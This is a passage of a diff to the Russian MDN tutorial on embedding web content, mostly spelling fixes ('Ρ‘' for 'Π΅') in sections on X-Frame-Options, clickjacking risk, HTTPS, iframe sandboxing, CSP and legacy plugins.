Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ сообщСниС, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰Π΅Π΅ Π²Π°ΠΌ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ. Π’ Firefox Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ сообщСниС <em>Β«ΠžΡ‚ΠΊΠ°Π·Π°Π½ΠΎ Π² доступС» Π² связи с X-Frame-Options:Β https://developer.mozilla.org/en-US/docs/GlossaryΒ Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ ΠΊΠ°Π΄Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</em>. Π­Ρ‚ΠΎ связано с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ построили MDN, Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π½Π° сСрвСрС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ обслуТиваСт страницы Π²Π΅Π±-сайта, запрСщая им Π²Π½Π΅Π΄Ρ€ΡΡ‚ΡŒΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ &lt;iframe&gt;Β (см. {{Anch ("Настройка дирСктивы CSP")}} Π½ΠΈΠΆΠ΅). Π‘ΡƒΡ‚ΡŒ здСсь Ρ‚Π°ΠΊΠΎΠ²Π° - цСлой страницС MDN Π½Π° самом Π΄Π΅Π»Π΅ нСт смысла Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π² Π΄Ρ€ΡƒΠ³ΠΈΠ΅ страницы -Β ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, Ссли Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ встраивания ΠΈΡ… Π½Π° свой сайт ΠΈ Π²Ρ‹ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΈΡ…Β ΠΊΠ°ΠΊ свои собствСнныС; ΠΈΠ»ΠΈ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΡƒΠΊΡ€Π°ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ clickjacking, Ρ‡Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠ»ΠΎΡ…ΠΎ. Плюс, Ссли всС Π½Π°Ρ‡Π½ΡƒΡ‚ это Π΄Π΅Π»Π°Ρ‚ΡŒ, вся Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ пропускная ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ Π½Π°Ρ‡Π½Π΅Ρ‚ ΡΡ‚ΠΎΠΈΡ‚ΡŒ Mozilla Π±ΠΎΠ»ΡŒΡˆΠΈΡ…Β Π΄Π΅Π½Π΅Π³.</p>
+<p>Быстрый ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β - ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Π°Π»ΠΈ Π²Ρ‹ΡˆΠ΅, Π² ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π΅Π³ΠΎ ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β Π½Π° Github (см. Π’Π°ΠΊΠΆΠ΅ исходный ΠΊΠΎΠ΄). На самом Π΄Π΅Π»Π΅, Π²Ρ‹ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π½Π° страницС,Β Ρ‚.ΠΊ. Ссли Π²Ρ‹ посмотритС в консоль Π² инструмСнтах Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ сообщСниС, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰Π΅Π΅ Π²Π°ΠΌ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ. Π’ Firefox Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ сообщСниС <em>Β«ΠžΡ‚ΠΊΠ°Π·Π°Π½ΠΎ Π² доступС» Π² связи с X-Frame-Options:Β https://developer.mozilla.org/en-US/docs/GlossaryΒ Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ ΠΊΠ°Π΄Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</em>. Π­Ρ‚ΠΎ связано с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ построили MDN, Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π½Π° сСрвСрС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ обслуТиваСт страницы Π²Π΅Π±-сайта, запрСщая им Π²Π½Π΅Π΄Ρ€ΡΡ‚ΡŒΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ &lt;iframe&gt;Β (см. {{Anch ("Настройка дирСктивы CSP")}} Π½ΠΈΠΆΠ΅). Π‘ΡƒΡ‚ΡŒ здСсь Ρ‚Π°ΠΊΠΎΠ²Π° - цСлой страницС MDN Π½Π° самом Π΄Π΅Π»Π΅ нСт смысла Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π² Π΄Ρ€ΡƒΠ³ΠΈΠ΅ страницы -Β ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, Ссли Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ встраивания ΠΈΡ… Π½Π° свой сайт ΠΈ Π²Ρ‹ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΈΡ…Β ΠΊΠ°ΠΊ свои собствСнныС; ΠΈΠ»ΠΈ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΡƒΠΊΡ€Π°ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ clickjacking, Ρ‡Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠ»ΠΎΡ…ΠΎ. Плюс, Ссли всС Π½Π°Ρ‡Π½ΡƒΡ‚ это Π΄Π΅Π»Π°Ρ‚ΡŒ, вся Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ пропускная ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ Π½Π°Ρ‡Π½Ρ‘Ρ‚ ΡΡ‚ΠΎΠΈΡ‚ΡŒ Mozilla Π±ΠΎΠ»ΡŒΡˆΠΈΡ…Β Π΄Π΅Π½Π΅Π³.</p>
<h4 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_Ρ‚ΠΎΠ»ΡŒΠΊΠΎ_ΠΏΡ€ΠΈ_нСобходимости">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ нСобходимости</h4>
@@ -237,8 +237,8 @@ textarea.onkeyup = function(){
<p>{{Glossary("HTTPS")}} это Π·Π°ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½Π½Π°Ρ вСрсия {{Glossary("HTTP")}}. <span id="result_box" lang="ru"><span>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Ρ‚ΡŒ свои Π²Π΅Π±-сайты, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ HTTPS, всСгда, ΠΊΠΎΠ³Π΄Π° это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ</span></span> :</p>
<ol>
- <li>HTTPS ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ ΠΏΠΎ ΠΏΡƒΡ‚ΠΈ;</li>
- <li>HTTPS Π·Π°ΠΏΡ€Π΅Ρ‰Π°Π΅Ρ‚ доступ Π²Π½Π΅Π΄Ρ€Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ Π² вашСм исходном Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚.</li>
+ <li>HTTPS ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ ΠΏΠΎ ΠΏΡƒΡ‚ΠΈ;</li>
+ <li>HTTPS Π·Π°ΠΏΡ€Π΅Ρ‰Π°Π΅Ρ‚ доступ Π²Π½Π΅Π΄Ρ€Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ Π² вашСм исходном Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚.</li>
</ol>
<p>ИспользованиС HTTPS Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ сСртификат бСзопасности, Ρ‡Ρ‚ΠΎΒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² ΠΊΠΎΠΏΠ΅Π΅Ρ‡ΠΊΡƒ (хотя Π΅ΡΡ‚ΡŒ <a href="https://letsencrypt.org/">Let's Encrypt</a>, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π»Π΅Π³Ρ‡Π°Π΅Ρ‚ Π·Π°Π΄Π°Ρ‡Ρƒ). Если Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΅Π³ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚Π΄Π°Π²Π°Ρ‚ΡŒ свой Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ HTTP. Однако, ΠΈΠ·-Π·Π° Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ прСимущСства HTTPSΒ <em>Π²ΠΎ Ρ‡Ρ‚ΠΎ Π±Ρ‹ Ρ‚ΠΎ Π½ΠΈ стало</em>Β Π²Ρ‹ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Π½Π΅Π΄Ρ€ΡΡ‚ΡŒ сторонний ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ с HTTP. (Π’ Π»ΡƒΡ‡ΡˆΠ΅ΠΌ случаС ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ выдаст ΡƒΠ³Ρ€ΠΎΠΆΠ°ΡŽΡ‰Π΅Π΅ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅.) ВсС ΡƒΠ²Π°ΠΆΠ°Π΅ΠΌΡ‹Π΅ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ доступным для внСдрСния Ρ‡Π΅Ρ€Π΅Π· &lt;iframe&gt;, доступны Ρ‡Π΅Ρ€Π΅Π· HTTPS - посмотритС URL-адрСса Π²Π½ΡƒΡ‚Ρ€ΠΈ &lt;iframe&gt; src ΠΏΡ€ΠΈ встраивании, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, содСрТимого ΠΈΠ· ΠšΠ°Ρ€Ρ‚ Google ΠΈΠ»ΠΈ Youtube.</p>
@@ -256,7 +256,7 @@ textarea.onkeyup = function(){
<p>Если это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎΠ΄ΠΈΠ½ Π·Π° Π΄Ρ€ΡƒΠ³ΠΈΠΌ (Π²Π½ΡƒΡ‚Ρ€ΠΈ значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <code>sandbox=""</code>) β€” смотри {{htmlattrxref('sandbox','iframe')}} ссылка для всСх доступных ΠΎΠΏΡ†ΠΈΠΉ. Π’Π°ΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ <em>Π½ΠΈΠΊΠΎΠ³Π΄Π°</em> Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ <code>allow-scripts</code> ΠΈ <code>allow-same-origin</code> Π² свой <code>sandbox</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ β€” Π² Ρ‚Π°ΠΊΠΎΠΌ случаС, встроСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΡƒ бСзопасности, которая Π·Π°ΠΏΡ€Π΅Ρ‰Π°Π΅Ρ‚ сайтам Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ скрипты и ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ JavaScript для ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ "пСсочницы" sandbox .</p>
<div class="note">
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. "ΠŸΠ΅ΡΠΎΡ‡Π½ΠΈΡ†Π°" Π½Π΅ обСспСчиваСт Π·Π°Ρ‰ΠΈΡ‚Ρƒ, Ссли Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠ±ΠΌΠ°Π½Ρ‹Π²Π°Ρ‚ΡŒ людСй Ρ‡Π΅Ρ€Π΅Π· прямоС посСщСниС врСдоносного ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (Π²Π½Π΅ iframe). Если Π΅ΡΡ‚ΡŒ Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ врСдоносным (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, созданный ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚), поТалуйста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π΅Π³ΠΎ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ {{glossary("domain")}} Π½Π° ваш основной сайт.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. "ΠŸΠ΅ΡΠΎΡ‡Π½ΠΈΡ†Π°" Π½Π΅ обСспСчиваСт Π·Π°Ρ‰ΠΈΡ‚Ρƒ, Ссли Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠ±ΠΌΠ°Π½Ρ‹Π²Π°Ρ‚ΡŒ людСй Ρ‡Π΅Ρ€Π΅Π· прямоС посСщСниС врСдоносного ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (Π²Π½Π΅ iframe). Если Π΅ΡΡ‚ΡŒ Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ врСдоносным (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, созданный ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚), поТалуйста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π΅Π³ΠΎ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ {{glossary("domain")}} Π½Π° ваш основной сайт.</p>
</div>
<h4 id="Настройка_Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²_CSP"><span id="result_box" lang="ru"><span>Настройка Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ² CSP</span></span></h4>
@@ -275,7 +275,7 @@ textarea.onkeyup = function(){
<p><span id="result_box" lang="ru"><span><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. <strong>Плагин </strong>- это ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС, ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‰Π΅Π΅ доступ ΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ.</span></span></p>
</div>
-<p>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π²Ρ‹ вряд Π»ΠΈ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти элСмСнты ΠΎΡ‡Π΅Π½ΡŒ часто. АпплСты Π½Π΅ использовались Π³ΠΎΠ΄Π°ΠΌΠΈ, Flash Π² настоящСС врСмя нС ΠΎΡ‡Π΅Π½ΡŒ популярСн ΠΈΠ·-Π·Π° ряда ΠΏΡ€ΠΈΡ‡ΠΈΠ½ (см. {{Anch ("Π‘Π»ΡƒΡ‡Π°ΠΉ с ΠΏΠ»Π°Π³ΠΈΠ½Π°ΠΌΠΈ")}}, Π½ΠΈΠΆΠ΅), PDF-Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠΎ ссылкС, Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ - Ρ‚Π°ΠΊΠΎΠΉ, ΠΊΠ°ΠΊ изобраТСния ΠΈ Π²ΠΈΠ΄Π΅ΠΎ, ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡ‰Π΅. ΠŸΠ»Π°Π³ΠΈΠ½Ρ‹ ΠΈ эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ внСдрСния Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ тСхнологиями, ΠΈ ΠΌΡ‹Β ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π΅ΠΌ ΠΈΡ… здСсь Π½Π° случай, Ссли Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ с Π½ΠΈΠΌΠΈ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΎΠ±ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΡΡ‚Π²Π°Ρ…, Ρ‚Π°ΠΊΠΈΡ… как интрасСти ΠΈΠ»ΠΈ ΠΊΠΎΡ€ΠΏΠΎΡ€Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹.</p>
+<p>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π²Ρ‹ вряд Π»ΠΈ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти элСмСнты ΠΎΡ‡Π΅Π½ΡŒ часто. АпплСты Π½Π΅ использовались Π³ΠΎΠ΄Π°ΠΌΠΈ, Flash Π² настоящСС врСмя нС ΠΎΡ‡Π΅Π½ΡŒ популярСн ΠΈΠ·-Π·Π° ряда ΠΏΡ€ΠΈΡ‡ΠΈΠ½ (см. {{Anch ("Π‘Π»ΡƒΡ‡Π°ΠΉ с ΠΏΠ»Π°Π³ΠΈΠ½Π°ΠΌΠΈ")}}, Π½ΠΈΠΆΠ΅), PDF-Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠΎ ссылкС, Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ - Ρ‚Π°ΠΊΠΎΠΉ, ΠΊΠ°ΠΊ изобраТСния ΠΈ Π²ΠΈΠ΄Π΅ΠΎ, ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡ‰Π΅. ΠŸΠ»Π°Π³ΠΈΠ½Ρ‹ ΠΈ эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ внСдрСния Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ тСхнологиями, ΠΈ ΠΌΡ‹Β ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π΅ΠΌ ΠΈΡ… здСсь Π½Π° случай, Ссли Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ с Π½ΠΈΠΌΠΈ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΎΠ±ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΡΡ‚Π²Π°Ρ…, Ρ‚Π°ΠΊΠΈΡ… как интрасСти ΠΈΠ»ΠΈ ΠΊΠΎΡ€ΠΏΠΎΡ€Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹.</p>
<p><span id="result_box" lang="ru"><span>Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΏΠ»Π°Π³ΠΈΠ½Π°, Π½ΠΈΠΆΠ΅ ΠΈΡΡ‡Π΅Ρ€ΠΏΡ‹Π²Π°ΡŽΡ‰Π°Ρ информация, которая Π²Π°ΠΌ понадобится:</span></span></p>
@@ -343,7 +343,7 @@ textarea.onkeyup = function(){
<h3 id="Π”Π΅Π»ΠΎ_ΠΏΡ€ΠΎΡ‚ΠΈΠ²_ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ²"><span class="short_text" id="result_box" lang="ru"><span>Π”Π΅Π»ΠΎ ΠΏΡ€ΠΎΡ‚ΠΈΠ² ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ²</span></span></h3>
-<p>Когда-Ρ‚ΠΎ ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π½Π΅Π·Π°ΠΌΠ΅Π½ΠΈΠΌΡ‹ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅. ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅ Π΄Π½ΠΈ, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΠ»ΠΎΡΡŒ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ Adobe Flash Player для просмотра ΠΎΠ½Π»Π°ΠΉΠ½-Ρ„ΠΈΠ»ΡŒΠΌΠ°? И ΠΏΠΎΡ‚ΠΎΠΌ постоянно Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π»ΠΈ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠ΅ прСдупрСТдСния ΠΎΠ± ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ Flash Player ΠΈ Java Runtime Environment. Π‘ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ 